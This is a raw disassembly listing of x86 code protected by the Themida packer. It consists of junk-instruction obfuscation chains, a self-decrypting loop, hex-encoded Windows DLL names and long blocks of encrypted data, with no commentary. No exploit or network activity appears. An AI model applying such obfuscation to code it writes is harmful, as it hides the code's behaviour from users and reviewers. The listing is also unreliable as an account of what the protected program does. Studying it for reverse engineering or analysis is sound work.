; ---------------------------------------------------------------------------
loc_5654B2: ; CODE XREF: Themida_:00560304j
mov ecx, [esp]
add esp, 4
push edi
not dword ptr [esp]
pop edi
push eax
mov eax, 3F4140E0h
sub edi, eax
pop eax
sub edi, 0CAA9502h
jmp loc_5520F4
; ---------------------------------------------------------------------------
loc_5654D4: ; CODE XREF: Themida_:0055C20Ej
and ebx, edx
pop edx
add ebx, 0D0AF2050h
mov edi, ebx
pop ebx
xor eax, edi
pop edi
add edi, eax
mov eax, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_564433
; ---------------------------------------------------------------------------
loc_565510: ; CODE XREF: Themida_:0055DD9Aj
push dword ptr [esp]
jmp loc_55848D
; ---------------------------------------------------------------------------
loc_565518: ; CODE XREF: Themida_:00563E49j
pop ecx
pop dword ptr [esp]
jmp loc_558663
; ---------------------------------------------------------------------------
loc_565521: ; CODE XREF: Themida_:0055E09Cj
or dh, cl
pop ecx
push eax
push esp
pop eax
add eax, 4
sub eax, 4
push eax
jmp loc_5649C5
; ---------------------------------------------------------------------------
loc_565535: ; CODE XREF: Themida_:00551162j
add ch, 15h
xor bh, ch
jmp loc_5534BC
; ---------------------------------------------------------------------------
loc_56553F: ; CODE XREF: Themida_:00565AD0j
push ecx
mov ecx, esp
push ebx
mov ebx, 4
add ecx, 23635436h
add ecx, ebx
sub ecx, 23635436h
pop ebx
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55D9A2
; ---------------------------------------------------------------------------
loc_565566: ; CODE XREF: Themida_:00565237j
add al, ch
add al, 8Bh
jmp loc_558867
; ---------------------------------------------------------------------------
loc_56556F: ; CODE XREF: Themida_:00557F20j
sub eax, 4C247E1h
jmp loc_56200A
; ---------------------------------------------------------------------------
loc_565579: ; CODE XREF: Themida_:0055486Fj
push esi
mov esi, 4
add edi, esi
jmp loc_550884
; ---------------------------------------------------------------------------
loc_565586: ; CODE XREF: Themida_:00563692j
not edx
shr edx, 5
sub edx, 0FDDB31F6h
add ebp, edx
jmp loc_562EBA
; ---------------------------------------------------------------------------
loc_565598: ; CODE XREF: Themida_:00556C1Ej
sub edx, edi
mov edi, [esp]
add esp, 4
jmp loc_555DEC
; ---------------------------------------------------------------------------
loc_5655A8: ; CODE XREF: Themida_:0055B963j
pop edi
jmp loc_556998
; ---------------------------------------------------------------------------
loc_5655AE: ; CODE XREF: Themida_:0055D66Ej
mov ecx, [esp]
add esp, 4
jmp loc_5563FB
; ---------------------------------------------------------------------------
loc_5655BC: ; CODE XREF: Themida_:00557122j
pop eax
and eax, ebx
jmp loc_557C2D
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5587EF
; ---------------------------------------------------------------------------
loc_5655CC: ; CODE XREF: Themida_:0055AE51j
push 1FCDh
mov [esp], edx
push 146Eh
mov [esp], eax
mov eax, 1D051736h
shl eax, 7
shl eax, 1
jmp loc_55D49F
; ---------------------------------------------------------------------------
loc_5655EB: ; CODE XREF: Themida_:00562E23j
mov [esp], edi
jmp loc_5545F0
; ---------------------------------------------------------------------------
loc_5655F3: ; CODE XREF: Themida_:005554B3j
push ecx
mov cl, 67h
push edx
mov dl, 0CFh
sub dl, 61h
jmp loc_556FC1
; ---------------------------------------------------------------------------
loc_565601: ; CODE XREF: Themida_:00553DD4j
pop esi
add edi, ebp
pop ebp
push edx
mov edx, esp
add edx, 4
jmp loc_555FA4
; ---------------------------------------------------------------------------
loc_565613: ; CODE XREF: Themida_:00563D4Cj
pop edx
neg esi
not esi
push edi
mov edi, 579F425Ch
add edi, 0FFFFFFFFh
jmp loc_556F32
; ---------------------------------------------------------------------------
loc_565626: ; CODE XREF: Themida_:0055C63Dj
push eax
mov eax, 24006D38h
add edi, eax
pop eax
add ebx, 64EC6245h
add ebx, edi
push ecx
jmp loc_55634E
; ---------------------------------------------------------------------------
loc_56563D: ; CODE XREF: Themida_:005545CAj
mov esi, [esp]
add esp, 4
jmp loc_558350
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56565A: ; CODE XREF: Themida_:00551E0Cj
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
push dword ptr [esp]
jmp loc_562879
; ---------------------------------------------------------------------------
loc_56566F: ; CODE XREF: Themida_:0055E0A3j
push 0D59234Fh
pop ecx
jmp loc_563D25
; ---------------------------------------------------------------------------
loc_56567A: ; CODE XREF: Themida_:00555FABj
mov [esp], ebp
push 5BE4h
jmp loc_5616E3
; ---------------------------------------------------------------------------
loc_565687: ; CODE XREF: Themida_:00554DDCj
mov edi, edx
mov ebx, edi
pop edi
pop edx
add ecx, ebx
mov ebx, [esp]
jmp loc_561797
; ---------------------------------------------------------------------------
loc_565697: ; CODE XREF: Themida_:00557742j
and edx, 0A7363E8h
sub edx, 0A744C8EFh
add ebx, edx
pop edx
mov esi, [esp]
push 548Eh
mov [esp], edi
push esp
jmp loc_561DC4
; ---------------------------------------------------------------------------
loc_5656B7: ; CODE XREF: Themida_:0055541Dj
mov ebx, 1
sub edx, ebx
pop ebx
inc edx
shr edx, 4
sub esp, 4
mov [esp], ebp
push ecx
push esi
mov esi, 56670AE0h
push edi
mov edi, 502E1601h
jmp loc_55BD46
; ---------------------------------------------------------------------------
loc_5656DB: ; CODE XREF: Themida_:00556F5Ej
mov [esp], eax
jmp loc_561E76
; ---------------------------------------------------------------------------
loc_5656E3: ; CODE XREF: Themida_:0056075Dj
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5656F7: ; CODE XREF: Themida_:00565350j
pop ebx
add dl, 9Fh
add cl, dl
pop edx
add al, cl
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5592F6
; ---------------------------------------------------------------------------
loc_565711: ; CODE XREF: Themida_:0056393Ej
push 76F1h
mov [esp], esp
sub esp, 4
jmp loc_55D9C9
; ---------------------------------------------------------------------------
loc_565721: ; CODE XREF: Themida_:0055B97Cj
add ecx, 5E5E3C23h
add ecx, ebp
jmp loc_55FB46
; ---------------------------------------------------------------------------
loc_56572E: ; CODE XREF: Themida_:00561605j
sub eax, esi
sub eax, 46AC7A57h
pop esi
mov edi, [esp]
jmp loc_55F6FA
; ---------------------------------------------------------------------------
loc_56573E: ; CODE XREF: Themida_:00563887j
mov [esp], ecx
mov ecx, 6A27099Eh
push edx
mov edx, 4D744047h
and ecx, edx
pop edx
sub ecx, 0E48FBC18h
or edx, ecx
mov ecx, [esp]
add esp, 4
xor edx, eax
xor eax, edx
xor edx, eax
add eax, 0FFFFFFFFh
xchg eax, edx
add edx, 27D3369Ah
add ebp, edx
mov edx, [esp]
add esp, 4
push esi
mov esi, 308A34B9h
add [esp+8], esi
jmp loc_551309
; ---------------------------------------------------------------------------
loc_565787: ; CODE XREF: Themida_:00556DD3j
push ecx
jmp loc_557CE1
; ---------------------------------------------------------------------------
loc_56578D: ; CODE XREF: Themida_:005582E0j
push edx
mov dl, 0DBh
xor dl, 3Ch
and cl, dl
pop edx
neg cl
dec cl
sub cl, 16h
sub bl, cl
pop ecx
sub bl, 39h
jmp loc_552FB1
; ---------------------------------------------------------------------------
loc_5657A8: ; CODE XREF: Themida_:0055E601j
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edx
push 2Ch
mov edx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 779D703Ah
sub edx, ecx
pop ecx
sub edx, 1DA55E51h
add edx, edi
add edx, 1DA55E51h
add edx, 779D703Ah
push ecx
mov ecx, 0
add ecx, edx
push edx
mov edx, 0
add edx, ecx
add eax, [edx]
pop edx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop edx
jmp loc_561944
; ---------------------------------------------------------------------------
loc_56582D: ; CODE XREF: Themida_:00557DD8j
sub ebx, 764D2083h
push edx
mov edx, 21185C4Ah
add edx, 6B895E43h
shl edx, 7
sub edx, 0E8983BB2h
jmp loc_5537D7
; ---------------------------------------------------------------------------
loc_56584D: ; CODE XREF: Themida_:00552DB2j
mov [esp], edi
mov edi, 6EA02EEh
add eax, edi
pop edi
pop ecx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_55D04E
; ---------------------------------------------------------------------------
loc_565867: ; CODE XREF: Themida_:00555BAFj
sub eax, edi
add eax, 7189172Fh
mov edi, [esp]
add esp, 4
add ebx, 408C6DAEh
push ebp
mov ebp, 9001D6Bh
shl ebp, 3
not ebp
xor ebp, 1A7A3AAAh
xor ebp, 0CACC3909h
jmp loc_552F9E
; ---------------------------------------------------------------------------
loc_565899: ; CODE XREF: Themida_:005618DAj
push 5419h
mov [esp], ebx
jmp loc_5564DE
; ---------------------------------------------------------------------------
loc_5658A6: ; CODE XREF: Themida_:005617D6j
sub bl, al
add bl, 95h
push eax
mov ah, 84h
jmp loc_55B861
; ---------------------------------------------------------------------------
loc_5658B3: ; CODE XREF: Themida_:005641F5j
add esi, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_563808
; ---------------------------------------------------------------------------
loc_5658C1: ; CODE XREF: Themida_:00557DF5j
add ebp, 2
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_551E6A
; ---------------------------------------------------------------------------
loc_5658D6: ; CODE XREF: Themida_:00554194j
pop ebp
jmp loc_55871B
; ---------------------------------------------------------------------------
loc_5658DC: ; CODE XREF: Themida_:00560D77j
mov [esp], ebp
push 4067C5Ch
mov ebp, [esp]
push 7E45h
mov [esp], ebp
mov ebp, esp
jmp loc_55B9D9
; ---------------------------------------------------------------------------
loc_5658F6: ; CODE XREF: Themida_:005526D7j
sub al, 2
sub al, 0AFh
add al, dh
jmp loc_55CD18
; ---------------------------------------------------------------------------
loc_565901: ; CODE XREF: Themida_:00552619j
or [edi+1Ch], ebx
pop ebx
jmp loc_55DE7A
; ---------------------------------------------------------------------------
loc_56590A: ; CODE XREF: Themida_:0055E0F9j
pop ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
jmp loc_55D9D6
; ---------------------------------------------------------------------------
loc_565920: ; CODE XREF: Themida_:00552232j
mov eax, [esp]
add esp, 4
jmp loc_55F04E
; ---------------------------------------------------------------------------
loc_56592E: ; CODE XREF: Themida_:00561B81j
pop ecx
add esp, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5575B6
; ---------------------------------------------------------------------------
loc_565945: ; CODE XREF: Themida_:00561CC8j
mov ebp, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_55F55E
; ---------------------------------------------------------------------------
loc_565959: ; CODE XREF: Themida_:00557EFFj
and edi, 41FC64D6h
xor edi, 41DC6488h
xor edx, edi
mov edi, [esp]
add esp, 4
mov esi, edx
pop edx
add ebp, 45B17284h
add ebp, esi
sub ebp, 45B17284h
jmp loc_552AAF
; ---------------------------------------------------------------------------
loc_565986: ; CODE XREF: Themida_:0055D0F1j
mov esp, [esp]
and [esp], eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_565992: ; CODE XREF: Themida_:00556AB1j
add edx, 4
xor edx, [esp]
jmp loc_5525DB
; ---------------------------------------------------------------------------
loc_5659A0: ; CODE XREF: Themida_:00550EBAj
mov dl, ch
mov bh, dl
jmp loc_55E9A6
; ---------------------------------------------------------------------------
loc_5659A9: ; CODE XREF: Themida_:00551213j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_55B81D
; ---------------------------------------------------------------------------
loc_5659BD: ; CODE XREF: Themida_:00554541j
sub esi, 4
xchg esi, [esp]
jmp loc_56225C
; ---------------------------------------------------------------------------
loc_5659CB: ; CODE XREF: Themida_:005555AFj
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
add edx, eax
mov eax, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_558C29
; ---------------------------------------------------------------------------
loc_5659F3: ; CODE XREF: Themida_:0055FD48j
sub dh, ch
sub dh, 0D7h
add dh, 97h
mov ecx, [esp]
add esp, 4
mov ch, dh
pop edx
jmp loc_55D192
; ---------------------------------------------------------------------------
loc_565A0C: ; CODE XREF: Themida_:0055B007j
not edx
not edx
xor edx, 68DD1EE6h
or eax, edx
pop edx
dec eax
add eax, 6B82463Bh
inc eax
sub eax, 0D09075FFh
sub edx, eax
pop eax
jmp loc_5530C2
; ---------------------------------------------------------------------------
loc_565A2D: ; CODE XREF: Themida_:005513AAj
sub ebp, 4730E9D4h
inc ebp
dec ebp
neg ebp
jmp loc_558958
; ---------------------------------------------------------------------------
loc_565A3C: ; CODE XREF: Themida_:00551FC6j
sub ebp, 5E97563Dh
sub ebp, 1EB25EA9h
mov ebx, [esp]
jmp loc_5637EA
; ---------------------------------------------------------------------------
loc_565A50: ; CODE XREF: Themida_:0055904Cj
add ebx, 0EE00893Dh
sub [esp+4], ebx
jmp loc_553A50
; ---------------------------------------------------------------------------
loc_565A5F: ; CODE XREF: Themida_:0055415Bj
sub ebx, edi
pop edi
push edx
mov edx, 21A90A78h
or ebx, edx
pop edx
and ebx, 1F2E1438h
push 5DEFh
mov [esp], ebx
xor [esp], esi
xor esi, [esp]
xor [esp], esi
jmp loc_55A707
; ---------------------------------------------------------------------------
loc_565A87: ; CODE XREF: Themida_:0055103Dj
pop esp
sub dh, 1
or dh, 15h
sub dh, 0B7h
push ecx
jmp loc_56350C
; ---------------------------------------------------------------------------
loc_565A97: ; CODE XREF: Themida_:0055F476j
mov edx, ebp
pop ebp
sub ebx, 37AC292Dh
jmp loc_55741D
; ---------------------------------------------------------------------------
loc_565AA5: ; CODE XREF: Themida_:0055D9C4j
mov eax, 7E5838FBh
push edx
jmp loc_55E343
; ---------------------------------------------------------------------------
loc_565AB0: ; CODE XREF: Themida_:005536EAj
sub ebp, 26B55E78h
add ebp, ebx
add ebp, 26B55E78h
pop ebx
jmp loc_560CB4
; ---------------------------------------------------------------------------
loc_565AC4: ; CODE XREF: Themida_:0055D3BAj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_562E9C
; ---------------------------------------------------------------------------
loc_565ACF: ; CODE XREF: Themida_:00550FEDj
pop esp
jmp loc_56553F
; ---------------------------------------------------------------------------
loc_565AD5: ; CODE XREF: Themida_:005639A2j
push esp
jmp loc_553684
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_554254
; ---------------------------------------------------------------------------
loc_565AE4: ; CODE XREF: Themida_:0055BC0Cj
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_557690
; ---------------------------------------------------------------------------
loc_565AF4: ; CODE XREF: Themida_:0055720Dj
or ebx, edx
pop edx
jmp loc_562476
; ---------------------------------------------------------------------------
loc_565AFC: ; CODE XREF: Themida_:005584BEj
mov dh, 91h
jmp loc_56365F
; ---------------------------------------------------------------------------
loc_565B03: ; CODE XREF: Themida_:005604F3j
add esp, 4
sub esi, 7DBB6BFBh
jmp loc_550B53
; ---------------------------------------------------------------------------
loc_565B11: ; CODE XREF: Themida_:00552837j
add edi, ebp
mov ebp, [esp]
jmp loc_551120
; ---------------------------------------------------------------------------
loc_565B1B: ; CODE XREF: Themida_:0055B067j
neg eax
xchg eax, edx
push ecx
push edx
pop ecx
pop edx
xor ebp, ecx
xor ecx, ebp
xor ebp, ecx
shr ebp, 4
xor ebp, 3035426Eh
jmp loc_550A9E
; ---------------------------------------------------------------------------
loc_565B36: ; CODE XREF: Themida_:005590C2j
mov esi, esp
add esi, 4
push ecx
mov ecx, esp
push eax
push 4EA71FA0h
pop eax
neg eax
jmp loc_55F833
; ---------------------------------------------------------------------------
loc_565B4F: ; CODE XREF: Themida_:00552B84j
or esi, ecx
push dword ptr [esp]
jmp loc_55F26F
; ---------------------------------------------------------------------------
loc_565B59: ; CODE XREF: Themida_:005629D2j
push ebx
mov ebx, 10050983h
shr ebx, 5
or ebx, 0F377A94h
dec ebx
sub esp, 4
mov [esp], eax
push edi
mov edi, 1E66C23Fh
jmp loc_55F130
; ---------------------------------------------------------------------------
loc_565B7D: ; CODE XREF: Themida_:005587CCj
push 7AB7h
mov [esp], eax
push esp
pop eax
push ecx
push edi
push 308F5ADFh
mov edi, [esp]
push esi
jmp loc_55B1A3
; ---------------------------------------------------------------------------
loc_565B97: ; CODE XREF: Themida_:0055DEC7j
movzx cx, ah
push small 13FCh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_565BAF: ; CODE XREF: Themida_:0055718Bj
push 4DF36FE4h
mov edx, [esp]
push esi
jmp loc_55A4BD
; ---------------------------------------------------------------------------
loc_565BBD: ; CODE XREF: Themida_:00559726j
push small 15h
mov [esp], ax
jmp loc_5535CC
; ---------------------------------------------------------------------------
loc_565BCA: ; CODE XREF: Themida_:0055F4CFj
add esp, 4
jmp loc_55DD01
; ---------------------------------------------------------------------------
loc_565BD2: ; CODE XREF: Themida_:00564BE7j
sub ebx, 0FFFFFFFFh
xor ebx, 41AC535Dh
add eax, 72DF7901h
add eax, 5B7C1545h
sub eax, 5F9F57A4h
sub eax, ebx
add eax, 5F9F57A4h
push edx
mov edx, 56CC6E56h
not edx
sub edx, 1
jmp loc_561762
; ---------------------------------------------------------------------------
loc_565C04: ; CODE XREF: Themida_:005570C5j
pop edx
push ecx
mov ecx, esp
jmp loc_5567F8
; ---------------------------------------------------------------------------
loc_565C0D: ; CODE XREF: Themida_:0056108Cj
mov edi, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 1
and eax, ebp
pop ebp
or edx, eax
shl edx, 1
push ecx
push edx
mov edx, 1
mov ecx, edx
mov edx, [esp]
add esp, 4
push 8A6h
mov [esp], eax
push ebx
mov ebx, 421E5A62h
or ebx, 7FA67195h
jmp loc_564564
; ---------------------------------------------------------------------------
loc_565C53: ; CODE XREF: Themida_:00557318j
xor [esp], edi
xor edi, [esp]
pop esp
shr eax, 0Ch
xor eax, ecx
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_550914
; ---------------------------------------------------------------------------
loc_565C76: ; CODE XREF: Themida_:00564669j
mov eax, 20E0017h
add ebp, eax
mov eax, [esp]
add esp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
push eax
jmp loc_55E5B7
; ---------------------------------------------------------------------------
loc_565C94: ; CODE XREF: Themida_:00561CE9j
mov ebx, 4023727Ch
xor ebx, 24610389h
sub esi, ebx
pop ebx
add esi, edi
jmp loc_550E04
; ---------------------------------------------------------------------------
loc_565CA9: ; CODE XREF: Themida_:0055DD5Fj
add ecx, eax
push edi
mov edi, 707750B7h
jmp loc_557C80
; ---------------------------------------------------------------------------
loc_565CB6: ; CODE XREF: Themida_:0055D90Aj
mov ebx, [esp]
add esp, 4
sub esp, 4
jmp loc_553CF0
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_565CD0: ; CODE XREF: Themida_:00543CF6j
; Themida_:00565CD7j
call sub_565CDA
sub [edx], ebp
jno short loc_565CD0
cld
; =============== S U B R O U T I N E =======================================
sub_565CDA proc near ; CODE XREF: Themida_:loc_565CD0p
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00543FDB SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00548440 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0054C5EC SIZE 00000007 BYTES
add edx, 50531626h
pop esi
xor ecx, 692585D5h
add esi, 6C9Dh
sub ebx, ebx
xor edx, 599012ABh
loc_565CF5: ; CODE XREF: sub_565CDA+6Bj
push dword ptr [ebx+esi]
pop eax
mov [ebp+60B0881h], edi
add eax, 10E5DCACh
xor eax, 6B28EE53h
mov edx, [ebp+60B2D7Dh]
sub eax, 50A3A4F6h
mov edx, [ebp+60B16B5h]
mov [esi+ebx], eax
cld
and edx, 7CFFC246h
sub ebx, 1C1A73B8h
mov [ebp+60B1B11h], eax
add ebx, 1C1A73B4h
jg $+6
cmp ebx, 0FFFF93E4h
jnz loc_565CF5
jmp loc_565D5A
; ---------------------------------------------------------------------------
dd 6D0E901Dh, 27042A5Ah
db 0C9h, 4
; ---------------------------------------------------------------------------
loc_565D5A: ; CODE XREF: sub_565CDA+71j
jmp short loc_565D92
; ---------------------------------------------------------------------------
dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h
dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 7, 12001Dh
dd 0C000Bh, 9C080148h
; ---------------------------------------------------------------------------
cdq
dec ecx
loc_565D92: ; CODE XREF: sub_565CDA:loc_565D5Aj
jmp loc_56667F
; ---------------------------------------------------------------------------
push 60D9DE8h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60D9E8Eh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60D9F84h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60DA0D8h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60DA13Ch
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60DA26Fh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60DA2D8h
jmp loc_543FDB
; ---------------------------------------------------------------------------
db 0E7h, 93h, 0A4h
dd 0A474EBFh, 0DCED3CE9h, 0A190E607h, 704F55B2h, 0EE0D54E3h
dd 5F48ABAAh, 0FF87B46h, 0F815CEF9h, 0B84192AFh, 80483CB0h
dd 70DFC599h, 0BB33BD88h, 0C3941DCFh, 79066300h, 0DFB85A39h
dd 4E584DFBh, 6FFD8616h, 9FEEC2C7h, 187F43BDh, 0BBF397CEh
dd 7E059712h, 820978ECh, 0BC869D84h, 66F002C8h, 8486BACEh
dd 3D350DD9h, 0D9848649h, 724AE4DEh, 0A3CB112Ah, 0A78F8D2Eh
dd 0E4DB23D2h, 67F5CD4Ah, 8A506DB6h, 614E3B55h, 0ABBE0C26h
dd 0FB1D3A41h, 1BDC0A50h, 0AE945289h, 2934BA50h, 0C8050EFFh
dd 50B1303Fh, 2CE3676Ch, 75Ah, 0ED5EC36h, 0B8BB96E1h, 0D60D3C4Fh
dd 1D2E139h, 0B2A19CE4h, 0FB01DC03h, 0A9EE1FC4h, 565E4F94h
dd 0FE0BE47Fh, 1EB10C3h, 998099EDh, 399F6EC5h, 14F8D5DEh
dd 98058814h, 0F4C8BC8Dh, 941D087Ch, 0E52E9FC3h, 4A90F4E8h
dd 60303C15h, 0DD8A9312h, 7153E7E3h, 0CEA04EA2h, 992BDEA6h
dd 0C32911BDh, 0EC00C3D2h, 3A66E398h, 43372B6Fh, 5978BE0Fh
dd 0C4D03DAFh, 168D9652h, 0BD0C91D5h, 91F55964h, 0A730AFBDh
dd 0BEA41D5Ch, 45A245E3h, 0C9B00433h, 8BFF77BCh, 1C3A667Ah
dd 3405C226h, 6F866442h, 6B4249Bh, 46500000h, 0EC3BD40Fh
dd 9AE906DDh, 4B53BCA7h, 0FA3EEF74h, 0B2B918DBh, 0E57E415Bh
dd 15CEF308h, 4291ACF8h, 0FE6550A5h, 3357DF0Dh, 0B4C59983h
dd 0D5DE5FC5h, 50A514F8h, 0B094A5F0h, 4F5E54CCh, 0F3C2D8C5h
dd 231DCB0Fh, 32400D0Ah, 4527h, 832BB500h, 0C39415C7h
dd 6ED47248h, 7BF8D5DEh, 823C72E9h, 40591178h, 27A7B0A6h
dd 0C5C3941Dh, 0A7B70596h, 9D4B642Ch, 896A67B0h, 0A6B4CFADh
dd 9E057B0Eh, 64F6CCBDh, 83506FB9h, 573B1262h, 621F0h
dd 50BD1800h, 72DB7548h, 48A01421h, 536ABA34h, 1C79ED7Fh
dd 91BD9F1Ch, 0DA56DA72h, 3047DE9Bh, 3122D01h, 0C4DCA1ADh
dd 0F01DCF23h, 0DAF901A5h, 7EAF48E6h, 9BDB1835h, 7CF07A01h
dd 446DF1CFh, 5F07A40h, 0EE1FC4F3h, 33BDAFA6h, 72B9CFBBh
dd 0CC7A4030h, 0B5809544h, 7004F1BAh, 453A088Ch, 5BEh
dd 0E271485Ah, 1CC7F205h, 4AA9A0F3h, 0E57E455Dh, 16CDF008h
dd 5FA5B8AFh, 0D12F360h, 0B2C22330h, 5AAF589Bh, 0E507F46Fh
dd 99820541h, 453B8AC5h, 14F8D5DEh, 5430B4C6h, 0DBC3941Dh
dd 0B3C449E7h, 0D5C90013h, 8273F161h, 0DFC407Dh, 44C8F7h
dd 25A0022Ch, 0ED990D9Fh, 62C3941Dh, 19EDBBC3h, 0C12573B6h
dd 0E7055F27h, 0B33BC394h, 0C394E5D7h, 0AC0E6258h, 3241E970h
dd 0FFFEF557h, 50BDB1FFh, 9A850944h, 0A013AEC9h, 45E3C759h
dd 0F074BFC8h, 0C394D194h, 7FC3271Bh, 14C65D3Fh, 9FFABD90h
dd 0E52EDFBDh, 592064E8h, 74D37D40h, 91184BD5h, 19477A6Dh
dd 4C3BA3F6h, 68FC6E42h, 3A61E41Ch, 0A84BAF93h, 4795AECEh
dd 6ADD462Fh, 7FC33744h, 7EF096F7h, 6E9F4D30h, 0B8FA1429h
dd 5D38A72Dh, 146D47C0h, 4C300F19h, 50A51408h, 93BD9165h
dd 2A6580A9h, 15CA926h, 46B70000h, 0D3683430h, 5A0E509h
dd 5DA5BD9Fh, 0E8B5EC7Ah, 0E7B512BAh, 67668E5Ch, 0E89D859Fh
dd 0AECE2E92h, 86354795h, 0C5DD50F7h, 714C593Bh, 6E63F31Dh
dd 0FFA79024h, 53A4519Bh, 0F109F466h, 1E217BC2h, 8F577F0h
dd 197DC1FCh, 38151EEFh, 52B0662Fh, 0DABD956Ch, 46Ah, 1EC5FC06h
dd 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h, 0B11ECF3h
dd 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh, 11DB2033h, 99BDE99Dh
dd 298F7EC5h, 0E4760D6Fh, 99B0D040h, 0F17B5FBDh, 1EC5F004h
dd 24A8A7F1h, 64608416h, 0AB3A667Eh, 11091ABBh, 0A3976010h
dd 427F8885h, 63ABD285h, 46390986h, 406h, 0BAB990E2h, 0D40F3A4Dh
dd 2D1E83Bh, 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h
dd 0FA0AFB78h, 0A2F710C3h, 0ADBF4C97h, 99BC4D39h, 8D73C2C5h
dd 84150BDh, 0BA1A6FDEh, 94785C69h, 77425746h, 7CBF50C8h
dd 18361DBFh, 61D5E035h, 0BC2ABBF1h, 0C3942EE6h, 0AC102F77h
dd 6A967468h, 46324122h, 0E8724D57h, 94200044h, 95B387C3h
dd 0FFFD49CCh, 0D5DE28FFh, 7B8372F8h, 0ABA6F544h, 795957Dh
dd 0B15CEE7Ch, 0ACE0546Bh, 5B635993h, 0DF093F02h, 9F086217h
dd 297FAEBDh, 2F13F01Eh, 33BDCC34h, 941DCFBBh, 937A40C3h
dd 8DC1B584h, 635F7263h, 4ED80219h, 1DDCA83Ch, 0FA53C394h
dd 0D5299DA4h, 0BA8F57F1h, 8BBD9F05h, 49DE7B6Ch, 67F5C966h
dd 6075BBCFh, 0D2360C3Ah, 0A40369FDh, 791E276h, 48E89BEFh
dd 0F8166C92h, 9943D8A4h, 0CA5ECA22h, 0EA04F7F5h, 369DEC00h
dd 0BD12EC43h, 95E95D68h, 0CFADCDB1h, 730EA6B4h, 0C4F64E11h
dd 74816CFEh, 0F7019359h, 51D30B7Fh, 0AEA69C86h, 8651D3DAh
dd 38BB55ADh, 408FBACFh, 3A90E841h, 0D3BD12F0h, 0B1000002h
dd 18F56E65h, 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h
dd 5D60B853h, 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh
dd 0C599BF12h, 6FBE2695h, 5AE4760Dh, 941DB6D2h, 27C139C3h
dd 0B07B2145h, 8EF4BD99h, 6867B15Ch, 330A1A8Bh, 99A4FC29h
dd 0D337D135h, 6FB9196Ah, 0B4A8EC50h, 6451F8BBh, 6C232786h
dd 26Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h
dd 0B11ECF3h, 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh, 11DB2033h
dd 99BFE99Dh, 298F7EC5h, 0E4760D6Fh, 6D5CAB5Ah, 0C8BC8D9Ch
dd 208A5AF4h, 1BBD99B0h, 0E183B3FCh, 0F7EB6094h, 0D764DB65h
dd 7976F5D5h, 381C2D78h, 0DFEA3F0Eh, 1F6B830Dh, 903A66F1h
dd 0BBFB7CAAh, 1D915BE0h, 3A66F163h, 46EE78F4h, 3A66F102h
dd 0D1B5BD85h, 563A66F1h, 0D584086Ch, 0BB6AF0CFh, 4E178763h
dd 0BAAB2BBDh, 0D245F246h, 4C43F295h, 0A4F746BAh, 0B5977B95h
dd 0C09C34ABh, 64A62500h, 63943CAh, 61FA81DDh, 0A21F73FBh
dd 3F903A66h, 1569DDECh, 8B9C4D31h, 3841ACBEh, 0A20F7BF3h
